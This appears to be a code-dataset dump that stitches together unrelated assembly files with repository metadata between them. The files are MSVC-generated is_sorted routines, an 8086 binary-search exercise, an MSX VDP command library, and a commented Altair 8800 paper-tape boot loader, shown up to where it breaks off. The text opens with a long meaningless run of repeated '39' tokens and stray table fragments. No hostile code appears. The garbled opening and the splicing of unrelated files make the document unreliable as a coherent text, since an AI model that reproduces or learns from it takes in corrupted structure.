39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39
*/
| 42.226277 | 2,999 | 0.658081 |
b9167e0e38a0561f39e3ceffb9cc37c10b07b3f9 | 2,276 | asm | Assembly | autovectorization-tests/results/msvc19.28.29333-avx512/is_sorted.asm | clayne/toys | ec06411e2d3b920403607888d4a573e41390ee5b | [
"BSD-2-Clause"
] | null | null | null | autovectorization-tests/results/msvc19.28.29333-avx512/is_sorted.asm | clayne/toys | ec06411e2d3b920403607888d4a573e41390ee5b | [
"BSD-2-Clause"
] | null | null | null | autovectorization-tests/results/msvc19.28.29333-avx512/is_sorted.asm | clayne/toys | ec06411e2d3b920403607888d4a573e41390ee5b | [
"BSD-2-Clause"
] | null | null | null | _v$ = 8 ; size = 4
bool is_sorted_epi32(std::vector<int,std::allocator<int> > const &) PROC ; is_sorted_epi32, COMDAT
mov eax, DWORD PTR _v$[esp-4]
push esi
push edi
mov edi, DWORD PTR [eax+4]
mov edx, edi
mov esi, DWORD PTR [eax]
cmp esi, edx
je SHORT $LN17@is_sorted_
lea eax, DWORD PTR [esi+4]
cmp eax, edx
je SHORT $LN17@is_sorted_
sub esi, eax
npad 6
$LL18@is_sorted_:
mov ecx, DWORD PTR [eax]
cmp ecx, DWORD PTR [esi+eax]
jl SHORT $LN25@is_sorted_
add eax, 4
cmp eax, edx
jne SHORT $LL18@is_sorted_
cmp edx, edi
pop edi
sete al
pop esi
ret 0
$LN25@is_sorted_:
mov edx, eax
$LN17@is_sorted_:
cmp edx, edi
pop edi
sete al
pop esi
ret 0
bool is_sorted_epi32(std::vector<int,std::allocator<int> > const &) ENDP ; is_sorted_epi32
_v$ = 8 ; size = 4
bool is_sorted_epi8(std::vector<signed char,std::allocator<signed char> > const &) PROC ; is_sorted_epi8, COMDAT
mov eax, DWORD PTR _v$[esp-4]
push esi
push edi
mov edi, DWORD PTR [eax+4]
mov edx, edi
mov esi, DWORD PTR [eax]
cmp esi, edx
je SHORT $LN17@is_sorted_
lea eax, DWORD PTR [esi+1]
cmp eax, edx
je SHORT $LN17@is_sorted_
sub esi, eax
npad 6
$LL18@is_sorted_:
mov cl, BYTE PTR [eax]
cmp cl, BYTE PTR [esi+eax]
jl SHORT $LN25@is_sorted_
inc eax
cmp eax, edx
jne SHORT $LL18@is_sorted_
cmp edx, edi
pop edi
sete al
pop esi
ret 0
$LN25@is_sorted_:
mov edx, eax
$LN17@is_sorted_:
cmp edx, edi
pop edi
sete al
pop esi
ret 0
bool is_sorted_epi8(std::vector<signed char,std::allocator<signed char> > const &) ENDP ; is_sorted_epi8
| 30.756757 | 112 | 0.476714 |
ecd6620992b870d715c8a0b3e4aab442de3d4486 | 1,081 | asm | Assembly | tests/Searching/binary_search.asm | ZubinGou/8086-emulator | 5087be61609fa571d16f34280211830746beaef1 | [
"MIT"
] | 39 | 2020-09-09T00:04:18.000Z | 2022-03-26T13:12:47.000Z | tests/Searching/binary_search.asm | ZubinGou/8086-emulator | 5087be61609fa571d16f34280211830746beaef1 | [
"MIT"
] | null | null | null | tests/Searching/binary_search.asm | ZubinGou/8086-emulator | 5087be61609fa571d16f34280211830746beaef1 | [
"MIT"
] | 8 | 2020-05-06T07:35:40.000Z | 2021-08-13T14:00:49.000Z | ;Develop and execute ALP that implements Binary search algorithm. The data
;consists of sorted 16 bit unsigned integers. The search key is also a 16 bit unsigned
;integer.
NAME Searching
TITLE binary_search
ASSUME CS:CODE,DS:DATA
DATA SEGMENT
ARR DW 05H,0111H,2161H,4541H,7161H,8231H
SR EQU 4541H
MSG1 DB 'ELEMENT FOUND AT '
RES DB ' RD POSITION','$'
MSG2 DB 'ELEMENT NOT FOUND','$'
DATA ENDS
CODE SEGMENT
START: MOV AX,DATA
MOV DS,AX
MOV BX,00H
MOV CX,SR
MOV DX,05H
LP: CMP BX,DX
JA FAILURE
MOV AX,BX
ADD AX,DX
SHR AX,01
MOV SI,AX
ADD SI,SI
CMP CX,ARR[SI]
JAE BIGGER
DEC AX
MOV DX,AX
JMP LP
BIGGER: JE SUCCESS
INC AX
MOV BX,AX
JMP LP
SUCCESS:ADD AL,01H
ADD AL,2FH
MOV RES,AL
LEA DX,MSG1
JMP DISPLAY
FAILURE: LEA DX,MSG2
DISPLAY: MOV AH,09H
INT 21H
MOV AH,4CH
INT 21H
CODE ENDS
END START | 19.303571 | 86 | 0.553191 |
da866fae128012d3366c592c91db5d4b259e6cad | 4,482 | asm | Assembly | lib/neonlib/src/VDPCommand.asm | sharksym/vgmplay-sharksym | d7763b87a379da4e6dadcc55026969d310957952 | [
"BSD-2-Clause"
] | 6 | 2020-04-21T17:26:27.000Z | 2021-09-25T18:41:01.000Z | lib/neonlib/src/VDPCommand.asm | sharksym/vgmplay-sharksym | d7763b87a379da4e6dadcc55026969d310957952 | [
"BSD-2-Clause"
] | null | null | null | lib/neonlib/src/VDPCommand.asm | sharksym/vgmplay-sharksym | d7763b87a379da4e6dadcc55026969d310957952 | [
"BSD-2-Clause"
] | null | null | null | ;
; VDP command
;
VDPCommand_STOP: equ 00H
VDPCommand_POINT: equ 40H
VDPCommand_PSET: equ 50H
VDPCommand_SRCH: equ 60H
VDPCommand_LINE: equ 70H
VDPCommand_LMMV: equ 80H
VDPCommand_LMMM: equ 90H
VDPCommand_LMCM: equ 0A0H
VDPCommand_LMMC: equ 0B0H
VDPCommand_HMMV: equ 0C0H
VDPCommand_HMMM: equ 0D0H
VDPCommand_YMMM: equ 0E0H
VDPCommand_HMMC: equ 0F0H
VDPCommand_IMP: equ 00H
VDPCommand_AND: equ 01H
VDPCommand_OR: equ 02H
VDPCommand_XOR: equ 03H
VDPCommand_NOT: equ 04H
VDPCommand_TIMP: equ 08H
VDPCommand_TAND: equ 09H
VDPCommand_TOR: equ 0AH
VDPCommand_TXOR: equ 0BH
VDPCommand_TNOT: equ 0CH
VDPCommand: MACRO ?sx, ?sy, ?dx, ?dy, ?nx, ?ny, ?color, ?argument, ?command
sx:
dw ?sx
sy:
dw ?sy
dx:
dw ?dx
dy:
dw ?dy
nx:
dw ?nx
ny:
dw ?ny
color:
db ?color
argument:
db ?argument
command:
db ?command
ENDM
; ix = this
; Modifies: af, bc, hl
VDPCommand_Execute:
push ix
pop hl
jp VDPCommand_Execute_HL
; iy = this
; Modifies: af, bc, hl
VDPCommand_Execute_IY:
push iy
pop hl
jp VDPCommand_Execute_HL
; hl = this
; Modifies: af, bc, hl
VDPCommand_Execute_HL: PROC
ld c,VDP_PORT_3
ld a,32
di
out (VDP_PORT_1),a
ld a,17 | VDP_REGISTER
ei
out (VDP_PORT_1),a
WaitReady:
ld a,2
di
out (VDP_PORT_1),a ; select s#2
ld a,15 | VDP_REGISTER
out (VDP_PORT_1),a
in a,(VDP_PORT_1)
rra
ld a,0
out (VDP_PORT_1),a ; select s#0
ld a,15 | VDP_REGISTER
ei
out (VDP_PORT_1),a
jr c,WaitReady
REPT 15
outi
ENDM
ret
ENDP
; ix = this
; c <- transfer port
; Modifies: af, b, hl
VDPCommand_ExecuteEasyXMMC:
push ix
pop hl
jp VDPCommand_ExecuteEasyXMMC_HL
; iy = this
; c <- transfer port
; Modifies: af, b, hl
VDPCommand_ExecuteEasyXMMC_IY:
push iy
pop hl
jp VDPCommand_ExecuteEasyXMMC_HL
; Executes HMMC / LMMC commands without the first colour value.
; hl = this
; c <- transfer port
; Modifies: af, b, hl
VDPCommand_ExecuteEasyXMMC_HL: PROC
ld c,VDP_PORT_3
ld a,36 ; no need to set SX
di
out (VDP_PORT_1),a
ld a,17 | 128
ei
out (VDP_PORT_1),a
WaitReady:
ld a,2
di
out (VDP_PORT_1),a ; select s#2
ld a,15 | 128
out (VDP_PORT_1),a
in a,(VDP_PORT_1)
rra
ld a,0
out (VDP_PORT_1),a ; select s#0
ld a,15 | 128
ei
out (VDP_PORT_1),a
jr c,WaitReady
ld a,VDPCommand_LMCM
di
out (VDP_PORT_1),a ; LMCM to empty CLR buffer (sets TR)
ld a,46 | 128
ei
out (VDP_PORT_1),a
ld a,VDPCommand_STOP
di
out (VDP_PORT_1),a ; STOP to avoid an occasional hang
ld a,46 | 128
ei
out (VDP_PORT_1),a
ld de,4
add hl,de ; no need to set SX
outi
outi
outi
outi
outi
outi
outi
outi
inc hl
ld a,45 ; 8 + 5 + 12 + 8 + 5 + 12 + 18 + 18
di
out (VDP_PORT_1),a ; skip CLR to keep buffer empty
ld a,17 | 128
ei
out (VDP_PORT_1),a
outi
outi
ld a,44 | 128
di
out (VDP_PORT_1),a
ld a,17 | 128
ei
out (VDP_PORT_1),a
ld c,VDP_PORT_3
ret
ENDP
; Modifies: af
VDPCommand_WaitReady:
call VDPCommand_IsReady
jr c,VDPCommand_WaitReady
ret
; f <- c: not ready (CE = 1)
; Modifies: af
VDPCommand_IsReady:
ld a,2
di
out (VDP_PORT_1),a ; select s#2
ld a,15 | VDP_REGISTER
out (VDP_PORT_1),a
in a,(VDP_PORT_1)
rra
ld a,0
out (VDP_PORT_1),a ; select s#0
ld a,15 | VDP_REGISTER
ei
out (VDP_PORT_1),a
ret
; a = start register offset
; c <- command port
; Modifies: af
VDPCommand_PrepareCommand: PROC
ld c,VDP_PORT_3
add a,32
di
out (VDP_PORT_1),a
ld a,17 | VDP_REGISTER
ei
out (VDP_PORT_1),a
WaitReady:
ld a,2
di
out (VDP_PORT_1),a ; select s#2
ld a,15 | VDP_REGISTER
out (VDP_PORT_1),a
in a,(VDP_PORT_1)
rra
ld a,0
out (VDP_PORT_1),a ; select s#0
ld a,15 | VDP_REGISTER
ei
out (VDP_PORT_1),a
jr c,WaitReady
ret
ENDP
; c <- transfer port
; Modifies: af
VDPCommand_PrepareTransfer:
ld c,VDP_PORT_3
ld a,44 | 128
di
out (VDP_PORT_1),a
ld a,17 | VDP_REGISTER
ei
out (VDP_PORT_1),a
ret
; hl = source
; bc = byte count
; Modifies: af, bc, de, hl
VDPCommand_Transfer: PROC
dec bc ; 16-bit to 2x 8-bit loop
inc b
inc c
ld d,b
ld b,c
ld c,VDP_PORT_3
ld a,44 | 128
di
out (VDP_PORT_1),a
ld a,17 | VDP_REGISTER
ei
out (VDP_PORT_1),a
Loop:
otir
dec d
jr nz,Loop
ret
ENDP
; Modifies: af
VDPCommand_WaitTransferReady:
call VDPCommand_IsTransferReady
jr nc,VDPCommand_WaitTransferReady
ret
; f <- c: ready (TR=1)
; Modifies: af
VDPCommand_IsTransferReady:
ld a,2
di
out (VDP_PORT_1),a ; select s#2
ld a,15 | VDP_REGISTER
out (VDP_PORT_1),a
in a,(VDP_PORT_1)
rla
ld a,0
out (VDP_PORT_1),a ; select s#0
ld a,15 | VDP_REGISTER
ei
out (VDP_PORT_1),a
ret
| 15.78169 | 75 | 0.699018 |
46529c2948880cc5e8319dfcd1a8b6dd71bd79e9 | 1,140 | asm | Assembly | src/bootloader/disk.asm | DreamPearl/FuzzyOS | e287bf139511b59abe9e2a0e7ce49444c6a5299e | [
"Apache-2.0"
] | 10 | 2021-03-04T18:48:29.000Z | 2022-03-10T19:07:54.000Z | src/bootloader/disk.asm | DreamPearl/FuzzyOS | e287bf139511b59abe9e2a0e7ce49444c6a5299e | [
"Apache-2.0"
] | 7 | 2020-06-27T13:13:08.000Z | 2021-10-17T17:09:40.000Z | src/bootloader/disk.asm | DreamPearl/FuzzyOS | e287bf139511b59abe9e2a0e7ce49444c6a5299e | [
"Apache-2.0"
] | 1 | 2022-02-10T20:09:01.000Z | 2022-02-10T20:09:01.000Z | ; Not: sector is 1 based indexing here.
%macro disk_read 6
; Args: (sector_count, drive 8bit, cylinder 10bit, head 8bit, sector 6bit, write_add)
; check es
mov ax, 0x02%1 ; (read sectors, sector count)
mov cx, 0x%3%5 ; (cylinder 10bit, sector 6bit)
mov dx, 0x%4%2 ; (head, drive index)
mov bx, 0x%6 ; (es:bx as write address)
int 0x13
%endmacro
%macro disk_write 6
; Args: (sector_count, drive 8bit, cylinder 10bit, head 8bit, sector 6bit, read_add)
; check es
mov ax, 0x03%1 ; (write sectors, sector count)
mov cx, 0x%3%5 ; (cylinder 10bit, sector 6bit)
mov dx, 0x%4%2 ; (head, drive index)
mov bx, 0x%6 ; (es:bx as write address)
int 0x13
%endmacro
%macro disk_success 1
; Args: (drive index 8 bit)
; Result: (AH: status code, set CF on error)
mov ah, 0x01 ; (get status of last drive operation)
mov dl, 0x%1 ; (drive index)
int 0x13
%endmacro | 40.714286 | 93 | 0.523684 |
f42dc7e3ed451f943bc0e34512cfd594bece7751 | 13,742 | asm | Assembly | altairsim/mbl.asm | qoelet/z80pack | c8845396636e7316d449b4107c5c7ab98fffbc1a | [
"MIT"
] | 85 | 2018-02-26T02:45:55.000Z | 2022-03-27T00:04:54.000Z | altairsim/mbl.asm | lawrencewoodman/z80pack | d57e3b50cd796e3f562c569a8270b4586999b12a | [
"MIT"
] | 76 | 2018-03-02T12:38:11.000Z | 2022-01-28T11:46:02.000Z | altairsim/mbl.asm | lawrencewoodman/z80pack | d57e3b50cd796e3f562c569a8270b4586999b12a | [
"MIT"
] | 25 | 2018-02-24T15:50:23.000Z | 2022-03-07T11:23:10.000Z | ; MBL - MULTI BOOT LOADER FOR THE ALTAIR 8800
;
; DISAASEMBLED AND COMMENTED BY GEOFF HARRISON (GHOV SOLIVANT COM)
;
; THIS IS A BOOT LOADER THAT CAN BE LOACATED IN ROM AND WHICH
; CAN READ ANY OF THE PUNCHED TAPE FORMATS THAT MITS DESIGNED.
; IT RUNS OUT OF ROM BY CREATING A READBYTE ROUTINE IN RAM WHICH
; IS CUSTOMIZED FOR WHATEVER I/O BOARD THE USER SPECIFIES AT
; RUN TIME ON THE FRONT PANEL SWITCHES. IT THEN SKIPS OVER THE
; LEADIN BYTES AND THE SECOND STAGE LOADER WHICH ALWAYS PRECEED
; THE PAYLOAD ON A MITS TAPE. SINCE IT DOESN'T USE THE
; SECOND STAGE LOADER, IT DOESN'T CARE WHICH OF SEVERAL POSSIBLE
; VERSIONS OF TAPE IT IS LOADING. NORMALLY YOU HAVE TO BE SURE
; TO USE THE CORRECT 1ST STAGE LOADER FOR THE TAPE YOU ARE LOADING,
; WITH THE MBL IT DOESN'T MATTER. AFTER SKIPPING THE 2ND STAGE
; LOADER ON THE TAPE, IT STARTS READING AND STORING PAYLOAD
; BYTES AND CHECKING THAT THE CHECKSUM IS CORRECT FOR EACH PACKET
; OF BYTES READ. WHEN THE ENTIRE PAYLOAD HAS BEEN READ INTO MEMORY,
; IT READS THE ENTRY POINT FOR THE PROGRAM FROM THE TAPE AND JUMPS
; TO THAT LOCATION.
;
; THE FORMAT OF A MITS PAPER TAPE IS:
; - SOME NUMBER OF IDENTICAL BYTES, EACH CONTAINING
; THE LENGTH (N) OF THE STAGE2 LOADER
; - N BYTES OF STAGE 2 LOADER
; - OPTIONALLY SOME NUMBER OF NULLS
; - ONE OR MORE LOAD RECORDS (SEE BELOW)
; - AN EOF RECORD (SEE BELOW)
;
; A LOAD RECORD CONSISTS OF:
; 074 - SYNC BYTE (HEX 03CH)
; NNN - # BYTES IN RECORD
; LLL - LOW BYTE OF LOAD ADDRESS
; HHH - HIGH BYTE OF LOAD ADDRESS
; <NNN BYTES> - NNN BYTES OF PROGRAM DATA (THE PAYLOAD)
; CCC - CHECKSUM BYTE
; (CHECKSUM INCLUDES LLL & HHH)
; THERE WILL BE 1 OR MORE PROG LOAD RECORDS,
; EACH ONE WITH UP TO 256 BYTES OF PAYLOAD
; BYTES.
;
; THE EOF RECORD CONSISTS OF:
; 0170 - SYNC BYTE (HEX 078H)
; LLL - LOW BYTE OF START ADDRESS
; HHH - HIGH BYTE OF START ADDRESS
;
; BEFORE EXECUTING THIS PROGRAM, THE FRONT PANEL SENSE SWITCHES
; MUST BE SET TO INDICATE WHAT DEVICE TO READ THE TAPE FROM AND
; WHAT DEVICE THE TERMINAL IS ATTACHED TO. THIS PROGRAM USES
; A11..A8 TO DETERMINE THE DEVICE ATTACHED TO THE TAPE READER.
; IF THE PAYLOAD IS NOT EARLIER THAN BASIC 4.0, IT USES A15..A12
; TO DETERMINE WHERE THE TERMINAL DEVICE IS.
; POSSIBLE SWITCH VALUES ARE
;
; DEVICE SWITCH VALUE
; 2SIO (2 STOP BITS) 0000B
; 2SIO (1 STOP BIT) 0001B
; SIO 0010B
; ACR 0011B
; 4PIO 0100B
; PIO 0101B
; HSR 0110B
;
; IF A VALUE LARGER THAN 7 IS ENTERED THIS PROGRAM WILL RETURN
; AN ERROR.
;
; PRIOR TO BASIC 4.0, MITS USED DIFFERENT SENSE SWITCH SETTINGS
; TO SPECIFY THE TERMINAL DEVICE. YOU SHOULD STILL BE ABLE TO
; LOAD AN OLDER TAPE WITH THIS LOADER BY SETTING THE SWITCHES AS
; ABOVE, STOPPING THE PROGRAM AFTER IT LOADS AND STARTS, CHANGING
; THE SENSE SWITCHES (SEE THE APPROPRIATE MITS MANUAL FOR SWITCH
; SETTINGS) AND RESTARTING THE PROGRAM AT ITS ENTRY POINT (E.G.
; 00000H FOR BASIC 3.2).
;
; THIS LISTING WAS GENERATED FROM A HEX DUMP OF MBL PROVIDED BY
; GRANT STOCKLY. THE ASSEMBLY CODE AND COMMENTS WERE REVERSE
; ENGINEERED FROM THAT DUMP BY GEOFF HARRISON.
; DEFAULT LOCATION IS AT 0FE00H. MAY BE ASSEMBLED TO RUN
; AT ANY LOCATION.
;
; ASSEMBLER SYNTAX IS FOR THE SPASM ASSEMBLER. TO ASSEMBLE USE:
; SPASM MBL /F
; SLINK MBL=MBL.OBJ /C:0FE00
;
; FOR OTHER ASSEMBLERS, UNCOMMENT THE FOLLOWING LINE AND
; (POSSIBLY) CHANGE THE SYNTAX OF ORG, DB, ETC.
;
ORG 0FE00H
;----------------------------------------------------------
; WE DON'T KNOW WHAT I/O CARDS ARE IN THE SYSTEM, SO
; TRY TO INITIALIZE JUST ABOUT ANYTHING MITS HAD AVAILABLE
; AT THE TIME.
;
DI
XRA A
OUT 020H
OUT 021H
OUT 024H
OUT 025H
OUT 026H
OUT 022H
CMA
OUT 023H
OUT 027H
MVI A,00CH
OUT 024H
MVI A,02CH
OUT 020H
OUT 022H
OUT 026H
MVI A,003H
OUT 027H
OUT 010H
MVI A,011H
OUT 010H
;----------------------------------------------------------
; FIND TOP OF RAM. ASSUMES THAT THERE IS NOT 64K OF RAM
; AVAILABLE, A REASONABLE ASSUMPTION GIVEN THAT THIS ROUTINE
; RESIDES IN ROM SOMEWHERE AT THE TOP OF MEMORY.
;
LXI H, 0FFFFH
SCANRAM: INX H ; POINT @ NEXT BYTE
MOV A,M ; GET IT
MOV B,A ; SAVE IT
CMA ; INVERT IT
MOV M,A ; TRY TO WRITE IT BACK OUT
CMP M ; SEE IF IT WROTE OUT CORRECTLY
MOV M,B ; RESTORE THE BYTE TO ITS ORIG VALUE
JZ SCANRAM ; LOOP IF THE BYTE WROTE CORRECTLY
; SOMETHING'S WRONG IF THE FAILURE TO WRITE TO RAM
; HAPPENED ON OTHER THAN A PAGE BOUNDARY
XRA A ; A = 0
CMP L
JNZ MERROR ; IF L != 0 GO TO 'M' ERROR HANDLER
; HL NOW POINTS TO THE LAST WRITABLE BYTE IN RAM PLUS 1.
; SUBTRACT 14 TO MAKE ROOM FOR A STACK & INITIALIZE SP.
LXI B,0FFF2H
DAD B ; HL += BC
SPHL ; SP = HL
DAD B ; SET HL TO POINT TO WHAT WILL BE
; THE START OF THE READBYTE ROUTINE.
PUSH H ; SAVE THE START ADDRESS ON THE STACK.
IN 0FFH ; READ FRONT PANEL SWITCHES
ANI 00FH ; MASK LOWER 4 BITS
CPI 007H ; SWITCHES SET TO >= 7?
JP IERROR ; Y - GO TO 'I' ERROR HANDLER
; POINT HL AT THE NTH ENTRY IN THE MOD TABLE,
; WHERE N = THE FRONT PANEL SWITCH SETTING
LXI H, TABLE1 ; POINT HL TO START OF THE MOD TABLE
INR B ; B CURRENTLY CONTAINS 0FFH, INC IT TO 0
MOV C,A ; \
ADD A ; \ C = A * 3
ADD C ; /
MOV C,A ; /
DAD B ; HL += BC
;----------------------------------------------------------
; CONSTRUCT AN INPUT FUNCTION ON THE STACK.
; SINCE THIS IS A PUSH DOWN STACK, THE ROUTINE IS BUILT IN REVERSE.
; WHEN FINISHED, THE ROUTINE WILL LOOK LIKE THIS. (XX VALUES ARE
; CALCULATED ON THE FLY OR READ FROM THE MOD TABLE. THE ROUTINE
; HAS TO BE BUILT DYNAMICALLY LIKE THIS BECAUSE DIFFERENT I/O CARDS
; REQUIRE DIFFERENT CODE TO READ THEIR DATA AND STATUS. THE USER
; SPECIFIED WHICH CARD IS IN USE ON THE FRONT PANEL SWITCHES.)
; READBYTE:
; DB XX IN XX ; CHECK PORT STATUS
; E6 XX ANI XX
; XX LO HI JZ/JNZ READBYTE ; LOOP 'TILL BYTE ARRIVES
; DB XX IN XX ; GET INPUT BYTE
; F5 PUSH PSW ; SAVE IT
; 80 ADD B ; UPDATE CHECKSUM IN B
; 47 MOV B,A
; F1 POP PSW ; RETRIEVE INPUT BYTE
; C9 RET ; RETURN A=BYTE, B=CHECKSUM
;
POP D ; DE = THE START ADRESS OF THIS ROUTINE
; CONSTRUCT RET; POP PSW
LXI B,0C9F1H
PUSH B
; CONSTRUCT MOV B,A; ADD B
LXI B,04780H
PUSH B
; CONSTRUCT PUSH PSW; {INPUT PORT RETRIEVED FROM MOD TABLE}
MVI B,0F5H
MOV C,M
MOV A,C
PUSH B
; CONSTRUCT IN (USED WITH PORT CONSTRUCTED ABOVE); {HIGH BYTE OF JMP INSTR}
MVI B,0DBH
MOV C,D
PUSH B
; CONSTRUCT {LOW BYTE OF JMP}; JZ/JNZ (FROM MOD TABLE)
MOV B,E
INX H
MOV C,M
PUSH B
; CONSTRUCT ANI {MASK FROM MOD TABLE}
INX H
MOV B,M
MVI C,0E6H
PUSH B
; CONSTRUCT IN {PORT STATUS ADDRESS (PORT NUMBER - 1)}
DCR A
MOV B,A
MVI C,0DBH
PUSH B
;----------------------------------------------------------
; READ A STREAM OF INPUT BYTES.
;
XCHG ; HL = START OF READBYTE ROUTINE, DE = JUNK
; ???????????????????????????????????????????????????
MVI A,004H ; WHY ARE WE SENDING 04H TO DEVICE 027H?
OUT 027H ; IN FACT, WHAT IS DEVICE 027H? ANYONE KNOW? IS IT THE
; 88-HSR? PERHAPS WE'RE SWITCHING ON THE DRIVE MOTOR.
; ???????????????????????????????????????????????????
; SKIP OVER LEADIN BYTES.
CALL LINK ; FLUSH INPUT BUFFER
CALL LINK ; GET A BYTE
MOV C,A ; REMEMBER IT
LEADINSKIP: CALL LINK ; GET ANOTHER BYTE
CMP C
JZ LEADINSKIP ; LOOP UNTIL WE RECEIVE A DIFFERENT BYTE VALUE
; AT THIS POINT, C CONTAINS THE FIRST LEADIN BYTE
; THAT WAS ON THE TAPE, WHICH SHOULD REPRESENT THE
; LENGTH OF THE STAGE 2 LOADER.
; SKIP OVER STAGE 2 LOADER.
DCR C
STAGE2SKIP: CALL LINK ; GET A BYTE
DCR C
JNZ STAGE2SKIP ; LOOP WHILE C > 0
; NOW WE'VE SKIPPED OVER ALL THE UNNEEDED STUFF, START
; LOOKING FOR THE FIRST LOAD RECORD.
FINDTOKEN: CALL LINK ; GET A BYTE
CPI 03CH ; IS IT A LOAD RECORD TOKEN?
JZ LOADRECORD ; Y - GO AND PROCESS A LOAD RECORD
CPI 078H ; IS IT AN EOF TOKEN?
JNZ FINDTOKEN ; N - KEEP LOOKING
; GOT AN EOF TOKEN. READ NEXT TWO BYTES AS PROGRAM
; START ADDRESS AND JUMP TO THAT ADDRESS.
EOF: CALL LINK ; GET PROG START LOW
MOV C,A
CALL LINK ; GET PROG START HIGH
MOV L,C
MOV H,A
; THIS IS MOSTLY USED TO CALL THE BYTE INPUT ROUTINE
; ON THE STACK, BUT IS ALSO USED TO JUMP TO THE ENTRY
; POINT OF THE DOWNLOADED PROGRAM.
LINK: PCHL ; JMP TO (HL)
; PROCESS A LOAD RECORD
LOADRECORD: CALL LINK ; GET BYTE COUNT IN THIS RECORD
MOV C,A ; SAVE IT
MVI B,000H ; INITIALIZE CHECKSUM
CALL LINK ; GET LOAD ADDRESS LOW
MOV E,A
CALL LINK ; GET LOAD ADDRESS HIGH
MOV D,A
LOREC2: MOV A,D
CMP H ; ARE THE INCOMING BYTES ABOUT TO
; OVERWRITE THE READBYTE ROUTINE?
MVI A,04FH ; PREPARE TO SEND 'O', IF NECESSARY
JZ ERREXIT ; Y - ERROR EXIT
CALL LINK ; N - GET ANOTHER BYTE
XCHG ; HL = DEST POINTER, DE = START OF READBYTE
MOV M,A ; STORE RECEIVED BYTE AT DESTINATION
CMP M ; DID IT STORE CORRECTLY?
MERROR: MVI A,04DH ; PREPARE TO SEND 'M', IF NECESSARY
JNZ ERREXIT ; N - ERROR EXIT
INX H ; Y - INCREMENT DESTINATION POINTER
XCHG ; HL = START OF READBYTE, DE = DEST POINTER
DCR C ; DECREMENT BYTE COUNTER
JNZ LOREC2 ; IF NOT 0 THEN LOOP TO GET MORE BYTES
MOV C,B ; SAVE CALCULATED CHECKSUM VALUE BEFORE WE UPDATE IT AGAIN
CALL LINK ; GET EXPECTED CHECKSUM FROM INPUT STREAM
CMP C ; DOES IT MATCH OUR CALCULATED SUM?
JZ FINDTOKEN ; Y - LOOK FOR MORE RECORDS ON THE TAPE
MVI A,043H ; N - PREPARE TO SEND 'C' ERROR
DB 001H ; LXI - HIDES NEXT TWO BYTES
IERROR: DB 03EH ; MVI A, 049H ; PREPARE TO SEND 'I'
DB 049H
; STORE AN ERROR CODE AND THE ADDRESS @ WHICH IT HAPPENED IN
; THE FIRST 3 BYTES OF RAM, THEN LOOP FOREVER SENDING THE
; ERROR CODE TO ALL POSSIBLE TERMINAL DEVICES.
;
ERREXIT: STA 00000H
SHLD 00001H
EI
